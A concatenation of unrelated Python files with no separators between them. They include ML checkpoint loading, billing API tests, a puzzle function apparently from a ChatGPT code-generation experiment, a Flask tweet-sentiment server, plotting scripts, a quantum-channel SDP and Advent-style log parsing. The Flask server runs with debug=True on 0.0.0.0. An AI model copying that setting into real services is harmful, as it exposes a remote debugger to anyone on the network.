model = C.get_classifier(P.model, n_classes=P.n_classes).to(device)

criterion = nn.CrossEntropyLoss().to(device)

# set normalize params
mean = torch.tensor(P.im_mean).to(device)
std = torch.tensor(P.im_std).to(device)
model.normalize.mean=mean
model.normalize.std=std

assert P.load_path is not None, "You need to pass checkpoint path using --load_path"

checkpoint = torch.load(P.load_path)

missing, unexpected = model.load_state_dict(checkpoint, strict=not P.no_strict)
print(f"Missing keys: {missing}\nUnexpected keys: {unexpected}")


from http import HTTPStatus

import pytest

from billing_app.tests.functional.utils.test_errors import TestErrorsStatus

pytestmark = pytest.mark.asyncio

class TestPrice:
    async def test_get_movies(self, make_get_request):
        """Test payment gates list"""
        # Создаем фильмы
        response = await make_get_request("/price/movies/")
        assert response.status == HTTPStatus.OK, TestErrorsStatus.WRONG_STATUS
        # assert type(response.body) == list, TestErrorsStatus.WRONG_RESPONSE
        # sber = list(filter(lambda item: item['short_code'] == 'sber', response.body))

    async def test_get_plans(self, make_get_request):
        """Test payment gates list"""
        # Создаем подписки
        response = await make_get_request("/price/subscriptions/")
        assert response.status == HTTPStatus.OK, TestErrorsStatus.WRONG_STATUS
        # проверка


from collections import Counter
def foo(lst):
    '''
    You are given a non-empty list of positive integers. Return the greatest integer that is greater than
    zero, and has a frequency greater than or equal to the value of the integer itself.
    The frequency of an integer is the number of times it appears in the list.
    If no such a value exist, return -1.
    Examples:
        foo([4, 1, 2, 2, 3, 1]) == 2
        foo([1, 2, 2, 3, 3, 3, 4, 4, 4]) == 3
        foo([5, 5, 4, 4, 4]) == -1
    '''
    c = Counter(lst)
    max_freq = max(c.values())
    max_val = -1
    for key, value in c.items():
        if value >= key and key > max_val and key <= max_freq:
            max_val = key
    return max_val

misc/Experiment results/ChatGPT/Dummy Function Names/code_generation/69/prompt_69.py


import matplotlib.pyplot as plt
import matplotlib.dates as md
import pandas as pd

def calc_graphs(res_tst,lbl_tst,pth):
    # times = pd.date_range('2017-05-19', periods=1167, freq='15min')
    # res_tst.index = times
    # lbl_tst = pd.DataFrame(lbl_tst)
    # lbl_tst.index = times
    # a_pred1 = res_tst.iloc[:1167,0]
    # a_true = test_label1.iloc[:1167,0]
    a_pred = res_tst[:,0]
    a_true = lbl_tst[:,0]
    plt.plot(a_pred,label='predicted')
    plt.plot(a_true,label='actual')
    plt.legend(loc='best',fontsize=10)
    # plt.xticks(rotation=10)
    # plt.gca().xaxis.set_major_formatter(md.DateFormatter('%y-%m-%d'))
    # plt.gca().xaxis.set_major_locator(md.HourLocator(interval=10))
    plt.savefig(pth+'/test_all15.eps') ### test_all30, test_all45, test_all60
    plt.show()

    # predicted = res_tst[0:96,0]
    # target = lbl_tst[0:96,0]
    # plt.plot(predicted,label="predicted")
    # plt.plot(target,label="actual")
    # plt.legend(loc='best',fontsize=10)
    # plt.xticks(rotation=10)
    # plt.gca().xaxis.set_major_formatter(md.DateFormatter('%y-%m-%d'))
    # plt.gca().xaxis.set_major_locator(md.HourLocator(interval=10))
    # plt.savefig(pth+'/test_1day15.eps')
    # plt.show()

    predicted = res_tst[0:192,0]
    target = lbl_tst[0:192,0]
    plt.plot(predicted,label="predicted")
    plt.plot(target,label="actual")
    plt.legend(loc='best',fontsize=10)
    # plt.xticks(rotation=10)
    # plt.gca().xaxis.set_major_formatter(md.DateFormatter('%y-%m-%d'))
    # plt.gca().xaxis.set_major_locator(md.HourLocator(interval=10))
    plt.savefig(pth+'/test_2days15.eps') ### test_2days30, test_2days45, test_2days60
    plt.show()

    # predicted = res_tst[0:672,0]
    # target = lbl_tst[0:672,0]
    # plt.plot(predicted,label="prediction")
    # plt.plot(target,label="true")
    # plt.legend(loc='best',fontsize=10)
    # plt.xticks(rotation=10)
    # plt.gca().xaxis.set_major_formatter(md.DateFormatter('%y-%m-%d'))
    # plt.gca().xaxis.set_major_locator(md.HourLocator(interval=10))
    # plt.savefig(pth+'/test_7days15.eps')
    # plt.show()

# def calc_errors(rmse_trn,loss_trn,rmse_tst,loss_tst,mae_tst,accu_tst,pth):
#     plt.plot(rmse_trn,  label="train_rmse")
#     plt.plot(rmse_tst,  label="test_rmse")
#     plt.legend(loc='best',fontsize=10)
#     plt.savefig(pth+'/rmse.eps')
#     plt.show()

#     plt.plot(loss_trn,  label="train_loss")
#     plt.plot(loss_tst,  label="test_loss")
#     plt.legend(loc='best',fontsize=10)
#     plt.savefig(pth+'/loss.eps')
#     plt.show()

#     plt.plot(loss_trn, label='train_loss')
#     plt.legend(loc='best',fontsize=10)
#     plt.savefig(pth+'/train_loss.eps')
#     plt.show()

#     plt.plot(rmse_trn, label='train_rmse')
#     plt.legend(loc='best',fontsize=10)
#     plt.savefig(pth+'/train_rmse.eps')
#     plt.show()

#     plt.plot(accu_tst,  label="test_acc")
#     plt.legend(loc='best',fontsize=10)
#     plt.savefig(pth+'/test_acc.eps')
#     plt.show()

#     plt.plot(rmse_tst,  label="test_rmse")
#     plt.legend(loc='best',fontsize=10)
#     plt.savefig(pth+'/test_rmse.eps')
#     plt.show()

#     plt.plot(mae_tst, label="test_mae")
#     plt.legend(loc='best',fontsize=10)
#     plt.savefig(pth+'/test_mae.eps')
#     plt.show()


# server.py
import flask
from flask import Flask, render_template, request, jsonify
import json
from src.utils import *
from src.topic_clustering import *
from src.plot_utils import *
from flask_cors import CORS
import copy
import os
import collections
import pickle
import preprocessor as p
p.set_options(p.OPT.URL, p.OPT.EMOJI, p.OPT.MENTION)
import pandas as pd
import collections
from src.preprocessing import *
from src.update_page import *
from collections import defaultdict
from keras.models import model_from_json
from keras.preprocessing import sequence
import numpy as np

app = Flask(__name__, static_folder='web-ui/build', template_folder='web-ui/build')
CORS(app)

########################## Hashtag #######################
data = json.load(open('data/raw/outputfile.json'))
with open('data/raw/aa.pkl', 'rb') as f:
    id_sentiment = pickle.load(f)

# Get info about tweets (@TODO salva questi risultati in file, non calcolarli ad ogni request)
dictionary_tweet = tweet_info(data)
list_hashtags, non_set, hashtags_dict, count_hashtags = get_list_significant_hashtag(dictionary_tweet, threshold=5)
lista_tweet_per_hash = tweets_hashtag(hashtags_dict)
hashtags_dict, dict_hashtag, dict_list_hashtag = tweet_hashtags(hashtags_dict, list_hashtags)
list_tweet = list(set([k for i, j in dict_hashtag.items() for k in j]))

counter_hash = co_occurrences_tweet(hashtags_dict)
############################################################################################
####################### Topics #######################
tuples_weights = edges(dict_list_hashtag, occurrences=False, jaccard=True)
G = graph_hashtags(tuples_weights)

# Assign id
id_hash = {i: j for i, j in enumerate(list_hashtags)}
hash_id = {j: i for i, j in id_hash.items()}

dimensionality_reduct, num_components = dimensionality_reduction(G)
clusters = clustering(dimensionality_reduct)
class_hash, class_num_hash = create_cluster(G, clusters)

set_tweets_class, set_hash_class = tweet_in_class(class_hash, class_num_hash, dict_hashtag, hashtags_dict)
class_of_tweets, dict_tweet_prop_class, tweet_belongs_to = assign_tweet(list_tweet, hashtags_dict, class_num_hash,
                                                                        class_hash)

### Per prendere gli id dei tweet del topic devo matchare nome e numero topic
output = []
for cluster, list_hash in class_hash.items():
    dictionary = {}
    dictionary['topic'] = int(cluster)
    dict_ha = {i: count_hashtags[i] for i in list_hash}
    dictionary['hashtags'] = [(i, count_hashtags[i]) for i in sorted(dict_ha, key=dict_ha.get, reverse=True)]
    dictionary['number_tweets'] = len(set(class_of_tweets[cluster]))

    output += [dictionary]

dict_topic_hash = defaultdict(list)
for i in output:
    dict_topic_hash[i['topic']] += [j for j in i['hashtags']]

name_topic = {i: j[0][0] for i, j in dict_topic_hash.items()}
print (name_topic)
topic_nome = {j:i for i,j in name_topic.items()}

with open('web-ui/src/data/name_topic.js', 'w') as outfile:
    outfile.write('export default [')
    max_name = len(name_topic)
    for idx, t in enumerate(list(topic_nome.keys())):
        if idx != max_name - 1:
            outfile.write("'"+t+"'"+',\n')
        else:
            outfile.write("'"+t+"'" + ']')
    #json.dump(name_topic, outfile)

############################## Sentiment model ######################################
# load json and create model
json_file = open('src/model.json', 'r')
loaded_model_json = json_file.read()
json_file.close()
loaded_model = model_from_json(loaded_model_json)
# load weights into new model
loaded_model.load_weights("src/model.h5")
print("Loaded model from disk")

#################################### Pre-process Tweets ################################
index_vocabolario = {idx:w for w, idx in vocabolario_index_twitter.items()}

id_text_pad_list = []
for i in range(len(data)):
    try:
        id_text_pad_list += [(data[i]['id'], replace_word_index_twitter((substitute_label((normalize(p.tokenize(data[i]['retweeted_status']['text']))).split())).split()))]
    except:
        id_text_pad_list += [(data[i]['id'], replace_word_index_twitter((substitute_label((normalize(p.tokenize(data[i]['text']))).split())).split()))]

array_pad = np.array([j for i,j in id_text_pad_list])
padding = sequence.pad_sequences(array_pad, maxlen=40, padding='post')
prediction = loaded_model.predict_classes(padding)
pred = ['negative' if i==0 else 'positive' for i in prediction ]
dict_id_sentiment = {}
for i,j in enumerate(array_pad):
    dict_id_sentiment[id_text_pad_list[i][0]] = pred[i]

@app.route("/", methods=['GET'])
def landing():
    if request.method == 'GET':
        print('SONO ANDATO IN GET')
        return render_template('index.html')

@app.route("/hashtag_api", methods=['POST'])
def hashtag_api():
    #if request.method == 'GET':
    #    print ('SONO ANDATO IN GET')
    #    return render_template('index.html')

    #else:

    hashtag = request.get_json()["selectedHashtag"]
    print (hashtag)

    # Compute the number of tweets for the hashtag
    lista_tweet = lista_tweet_per_hash[hashtag]
    num_tweet = len(set(lista_tweet))

    # Get the sentiment of tweets
    list_vector_pie = sentiment_tweet(lista_tweet, dict_id_sentiment)#id_sentiment)
    print (list_vector_pie)
    # Top users
    #list_user_to_plot = top_users(data, lista_tweet)
    lista_diz_hash = []
    for i, j in enumerate(counter_hash[hashtag][:10]):
        lista_diz_hash += [{'x': i + 1, 'y': j[1], 'label': '#' + j[0]}]

    print (lista_diz_hash)

    # Stream tweet
    sent_sub_tweet = {i: dict_id_sentiment[i] for i in lista_tweet}
    lista_tweet_pos = [i for i,j in sent_sub_tweet.items() if j=='positive']
    lista_tweet_neg = [i for i,j in sent_sub_tweet.items() if j=='negative']
    #lista_tweet_neu = [i for i,j in sent_sub_tweet.items() if j=='neutral']

    # Utenti unici
    list_unici_utenti = unique_users(data, lista_tweet)

    task = {
        'numTweet': num_tweet,
        'NumRetweet': retweet_based_on_hashtag(hashtag, dict_hashtag, data),
        'Sentiment':list_vector_pie,
        'Unique': list_unici_utenti,
        'StreamPos': stream_tweet(data,lista_tweet_pos),
        'StreamNeg': stream_tweet(data,lista_tweet_neg),
        #'StreamNeu': stream_tweet(data,lista_tweet_neu),
        'dataSet': lista_diz_hash}
    return jsonify(task)

@app.route("/topic_api", methods=['POST'])
def topic_api():
    #if request.method == 'GET':
    #    print ('SONO ANDATO IN GET')
    #    return render_template('index.html')

    #else:

    hashtag = request.get_json()["selectedHashtag"]
    print (hashtag)

    # Compute the number of tweets for the hashtag
    lista_tweet = class_of_tweets[topic_nome[hashtag]]
    num_tweet = len(set(lista_tweet))

    # Get the sentiment of tweets
    list_vector_pie = sentiment_tweet(lista_tweet, dict_id_sentiment)

    # Top users
    #list_user_to_plot = top_users(data, lista_tweet)
    lista_diz_hash = []
    for i, j in enumerate(dict_topic_hash[topic_nome[hashtag]][:10]):
        lista_diz_hash += [{'x': i +1, 'y': j[1], 'label': '#' + j[0]}]

    print (lista_diz_hash)

    # Stream tweet
    sent_sub_tweet = {i: dict_id_sentiment[i] for i in lista_tweet}
    lista_tweet_pos = [i for i,j in sent_sub_tweet.items() if j=='positive']
    lista_tweet_neg = [i for i,j in sent_sub_tweet.items() if j=='negative']
    #lista_tweet_neu = [i for i,j in sent_sub_tweet.items() if j=='neutral']

    # Utenti unici
    list_unici_utenti = unique_users(data, lista_tweet)
    print (retweet_based_on_topic(topic_nome[hashtag], class_of_tweets, data))

    task = {
        'numTweet': num_tweet,
        'NumRetweet': retweet_based_on_topic(topic_nome[hashtag], class_of_tweets, data),
        'Sentiment':list_vector_pie,
        'Unique': list_unici_utenti,
        'StreamPos': stream_tweet(data,lista_tweet_pos),
        'StreamNeg': stream_tweet(data,lista_tweet_neg),
        #'StreamNeu': stream_tweet(data,lista_tweet_neu),
        'dataSet': lista_diz_hash}
    return jsonify(task)

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0')


# -*- coding: utf-8 -*-
"""
Created on Sun Mar  3 12:06:01 2019

@author: Tomas
"""

import pandas as pd
import matplotlib.pyplot as plt

plt.rcParams.update({'font.size': 14})

df = pd.read_excel('C:/Users/Public/data/indexes_commodities_fitted.xlsx')
df2 = pd.read_excel('C:/Users/Public/data/fx_120mins_best_fit.xlsx')

a= df['profit'].cumsum()*100
b= df2['profit'].cumsum()*100

df['profit'] = df['profit'] +1
df2['profit']= df2['profit'] +1

#a = df['profit'].cumprod()*100 - 100
#b = df2['profit'].cumprod()*100 - 100

plt.figure(figsize=(13,9))
plt.title('Counter-Trader Returns Backtest [2018 Coinshares Internship]')
plt.plot(a,label='Indexes')
plt.plot(b,label='FX')
plt.xlabel('# trades [summer 2018]')
plt.ylabel('% returns [exluding fees]')
plt.legend()
plt.show()


from django.contrib import admin
from .models import Hireyoutuber
# Register your models here.

class HireyoutuberAdmin(admin.ModelAdmin):
    list_display = ['youtuber_name','first_name','email']
    list_display_links = ['youtuber_name']
    list_filter = ['youtuber_name']
admin.site.register(Hireyoutuber,HireyoutuberAdmin)


import os, sys
import shutil
from utils.common import get_file_extension, create_directory

class FileOrganizer:
    def __init__(self, source_directory):
        self.source_directory = source_directory

    def organize_files(self):
        if not os.path.exists(self.source_directory):
            print("Source directory does not exist.")
            return

        for filename in os.listdir(self.source_directory):
            file_path = os.path.join(self.source_directory, filename)

            if os.path.isfile(file_path):
                extension = get_file_extension(filename)
                if extension:
                    destination_directory = os.path.join(self.source_directory, extension[1:])
                    create_directory(destination_directory)

                    try:
                        shutil.move(file_path, os.path.join(destination_directory, filename))
                        print(f"Moved '{filename}' to '{destination_directory}'")
                    except Exception as e:
                        print(f"Error moving '{filename}' to '{destination_directory}': {e}")
                else:
                    print(f"Skipped '{filename}' as it doesn't have an extension.")
            else:
                print(f"Skipped '{filename}' as it is not a file.")

        print("File organization completed.")


"""Distingusighing deploarizing from identity channel using picos"""

import picos as pic
import numpy as np
import matplotlib.pyplot as plt

def calc_lambda_from_p(p):
    return 1 - 4*p/3

def calc_p_from_lambda(lm):
    return 3*(1 - lm)/4

def cj_mat(p) -> np.array:
    lmVal = calc_lambda_from_p(p)
    cjMat = lambda lm : np.array([[(1. + lm)/2, 0., 0., lm],
                        [0., (1. - lm)/2, 0., 0.],
                        [0., 0., (1. - lm)/2, 0.],
                        [lm, 0., 0., (1 + lm)/2]])
    return cjMat(lmVal)

# Example 2. Using the dual formulation
def find_success_prob_distinguish_depolarizing_with_identity(p):
    upsBA = cj_mat(1)

    thetaBA = cj_mat(p)

    gamma2BA = upsBA - thetaBA  #Primal SDP
    #Constants
    #----------
    gamma2Pic = pic.Constant("gamma2BA", gamma2BA)

    shpBA = np.shape( gamma2Pic )
    shpB = np.shape(pic.partial_trace(gamma2Pic, subsystems=(1),dimensions=2))
    shpA = np.shape(pic.partial_trace(gamma2Pic, subsystems=(0),dimensions=2))
    iMatB = pic.Constant('Ib', np.eye(shpB[0]))

    #Variables
    #----------
    rhoPic = pic.HermitianVariable("rhoA", shpA)
    sigPic = pic.HermitianVariable("sigA", shpA)
    XPic = pic.ComplexVariable("X", shpBA)

    prob2P = pic.Problem()

    #Constraint
    #----------
    prob2P.add_constraint(((iMatB @ rhoPic & XPic ) // (XPic.H & iMatB @ sigPic)) >> 0)
    prob2P.add_constraint(pic.trace(rhoPic) == 1)
    prob2P.add_constraint(pic.trace(sigPic) == 1)

    #Objective
    #----------
    obj = pic.trace(gamma2Pic | XPic).real

    prob2P.set_objective('max',obj)

    #Solve the problem using mosek as a cvxopt
    prob2P.solve(verbosity=False,solver='cvxopt')
    #Solver claims to have found optimal saolution
    dNorm2P =  prob2P.value
    #Example 2 Dual Formulation
    #Constants
    #----------
    iMatA = pic.Constant('Ia', np.eye(shpA[0]))

    #Variables
    #----------
    NPicBA = pic.HermitianVariable("Nba", shpBA)
    MPicBA = pic.HermitianVariable("Mba", shpBA)
    mu = pic.RealVariable("mu")
    nu = pic.RealVariable("nu")
    prob2D = pic.Problem()

    # Constraint
    #----------
    prob2D.add_constraint(((NPicBA & -gamma2Pic) // (-gamma2Pic.H & MPicBA)) >> 0)

    NPicA = pic.partial_trace(NPicBA,subsystems=(0),dimensions=2)
    MPicA = pic.partial_trace(MPicBA,subsystems=(0),dimensions=2)

    prob2D.add_constraint(MPicA<<mu*iMatA)
    prob2D.add_constraint(NPicA<<nu*iMatA)

    # Objective
    #----------
    obj = (mu + nu)/2

    prob2D.set_objective('min',obj)
    # Solve the problem using mosek as a cvxopt
    prob2D.solve(verbosity=False,solver='cvxopt')
    # Solver claims to have found optimal solution
    dNorm2D =  prob2D.value
    # print('Diamond Norm distance between identity and equal probability Pauli error Channel')
    # print('Using Primal SDP = ', dNorm2P)
    # print('Using DualSDP = ', dNorm2D)
    # print('Difference between primal and dual values', abs(dNorm2D - dNorm2P))
    pE = (1 + dNorm2D/2)/2
    # print('Probability of distinguishing with an entangled input s* = ', pE)
    lmVal = 1.-4.*p/3.
    # print('Probability of distinguishing without an entangled input q* = ', (3 - lmVal)/4)
    return pE, (3 - lmVal)/4

def plot_example_2():
    entangled_probs = []
    non_entangled_probs = []
    p_vals = []

    for p in np.arange(0.0, 1.0, 0.05):
        p_vals.append(p)

    for p in p_vals:
        entangled_prob, non_entangled_prob = find_success_prob_distinguish_depolarizing_with_identity(p)
        entangled_probs.append(entangled_prob)
        non_entangled_probs.append(non_entangled_prob)

    print(entangled_probs)
    print(non_entangled_probs)
    print(len(p_vals))
    x = np.array(p_vals)
    y = np.array(non_entangled_probs)
    print(y)
    print(x.shape, y.shape)
    plt.plot(x, y)
    plt.show()

def run_example_2_specific_p(p):
    """p is calculated from lambda and has a range from 0 to 1"""
    print(f"For p = {p}:")
    entangled_prob, non_entangled_prob = find_success_prob_distinguish_depolarizing_with_identity(p)
    print(f"The entangled success probability is: {entangled_prob}")
    print(f"The non-entangled success probability is: {non_entangled_prob}")

def run_example_2_specific_depolarizing_factor(lmVal):
    """The depolarizing factor lambda should range from -0.333 to 1"""
    print(f"For lmVal = {lmVal}:")
    p = calc_p_from_lambda(lmVal)
    entangled_prob, non_entangled_prob = find_success_prob_distinguish_depolarizing_with_identity(p)
    print(f"The entangled success, and error probability is: {entangled_prob}, {1-entangled_prob}")
    print(f"The non-entangled success, and error probability is: {non_entangled_prob}, {1-non_entangled_prob}")

# run_example_2_specific_p(0.75)
run_example_2_specific_depolarizing_factor(0)
# plot_example_2()


import datetime

class Shift:
	def __init__(self, eventTimes=[]):
		if "begins shift" in eventTimes[0]:
			self.shiftStart = eventTimes[0].split(' ')[0]
			self.ID = int(eventTimes[0].split('#')[1].split(' ')[0])
		else:
			raise Exception
		self.asleep = False
		self.startedSleeping = None
		self.sleepingTime = 0
		self.sleepingMinutes = {minute: 0 for minute in range(60)}
		for event in eventTimes[1:]:
			if "falls asleep" in event and not self.asleep:
				self.asleep = True
				self.startedSleeping = getEventTime(event)
			elif "wakes up" in event and self.asleep:
				self.asleep = False
				self.sleepingTime += (getEventTime(event) - self.startedSleeping).seconds / 60
				for minute in range(self.startedSleeping.minute, getEventTime(event).minute):
					self.sleepingMinutes[minute] += 1

	def __eq__(self, other):
		return other.ID == self.ID

	def __iadd__(self, other):
		for minute in self.sleepingMinutes:
			self.sleepingMinutes[minute] += other.sleepingMinutes[minute]
		return self

	def __isub__(self, other):
		for minute in self.sleepingMinutes:
			self.sleepingMinutes[minute] -= other.sleepingMinutes[minute]
		return self

	def __hash__(self):
		return self.ID

class Guard:
	def __init__(self, shift=None, id=None):
		if shift:
			self.ID = shift.ID
			self.sleepingTime = shift.sleepingTime
			self.sleepingMinutes = shift.sleepingMinutes
		else:
			self.ID = id
			self.sleepingTime = 0
			self.sleepingMinutes = {minute: 0 for minute in range(60)}

	def __iadd__(self, other):
		for minute in self.sleepingMinutes:
			self.sleepingMinutes[minute] += other.sleepingMinutes[minute]
			self.sleepingTime += other.sleepingMinutes[minute]
		return self

	def __str__(self):
		return str(id) + str(self.sleepingMinutes)

	def getMaxMinute(self):
		maxMinute = 0
		maxMinuteFreq = 0
		for minute in self.sleepingMinutes:
			if self.sleepingMinutes[minute] > maxMinuteFreq:

				maxMinute = minute
				maxMinuteFreq = self.sleepingMinutes[minute]
		return maxMinute

def parseInput(inputList):
	separatedInput = []
	guardShift = []
	for inputEvent in inputList:
		if "begins shift" in inputEvent and guardShift:
			separatedInput.append(guardShift)
			guardShift = []
		guardShift.append(inputEvent)
	separatedInput.append(guardShift)
	return separatedInput

def sortInput(inputList):
	return sorted(inputList, key=getEventTime)

def getEventTime(event):
	return datetime.datetime.strptime(event.split(']')[0].strip('['), "%Y-%m-%d %H:%M")

def reduceByGuard(shifts):
	guardIDs = set(shift.ID for shift in shifts)
	byGuard = set()
	for guard in guardIDs:
		currentGuard = filter(lambda a: a.ID == guard, shifts)
		guardTotal = Guard(id=guard)
		for shift in currentGuard:
			guardTotal += shift
		byGuard.add(guardTotal)
	return byGuard

def sortGuardsByTotalSleepTime(guards, reverse=True):
	return sorted(guards, key=lambda a: a.sleepingTime, reverse=reverse)